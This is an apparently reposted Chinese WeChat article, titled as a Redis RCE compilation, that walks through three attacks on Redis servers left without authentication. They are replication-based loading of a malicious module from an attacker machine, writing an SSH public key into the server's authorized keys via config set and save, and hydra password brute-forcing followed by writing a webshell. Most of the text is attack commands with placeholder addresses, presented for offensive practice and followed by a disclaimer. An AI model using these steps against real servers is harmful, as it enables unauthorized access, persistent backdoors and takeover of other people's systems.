Redis主从复制实现RCE
漏洞描述
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
漏洞实战
通过
redis-cli -h your-ip
即可进行连接,可见存在未授权访问漏洞。
info
编译POC即可直接执行命令
make
当前目录下生成一个exp.so文件
第一个ip是目标机器,第二个ip是攻击机
./xxx.py -r xxx -p 6379 -L xxx -P xxx -f xxx.so -c "whoami"
漏洞证明
未授权验证脚本
脚本运行
python xxx.py xxx 6379
Redis写入SSH公钥实现RCE
之前进行端口扫描时发现该机器开着6379,尝试Redis弱口令或未授权访问
尝试进行连接Redis,连接成功,存在未授权访问
redis-cli -h x.x.x.x
info
尝试写入SSH公钥
生成ssh公钥
ssh-keygen -t rsa
将公钥导入key.txt文件(前后用n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:
将公钥导入key.txt文件
(echo -e "nn"; cat /xxx/xxx; echo -e "nn") > key.txt
把key.txt文件内容写入目标主机的redis缓冲中
cat key.txt | redis-cli -h x.x.x.x -p 6379 -x set xxx
设置redis的备份路径
config set dir /xxx
设置保存文件名
config set dbfilename xxx
将数据保存在目标服务器硬盘上
save
退出连接
exit
连接
ssh x.x.x.x
输入私钥
成功连接
Redis写入webshell实现RCE
通过hydra进行爆破
hydra -P /xxx/xxx/xxx/xxx x.x.x.x redis 6379
连接redis
redis-cli -h x.x.x.x -a xxx
备份文件写Shell
进入默认目录
config set dir "xxx"
创建文件
config set dbfilename "xxx"
写入webshell
set x "xxx"
最后保存
save
利用过程
成功连接到server-redis
攻防交流群
声明
文笔生疏,措辞浅薄,敬请各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
原文始发于微信公众号(儒道易行):【攻防实战】Redis-RCE集锦
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论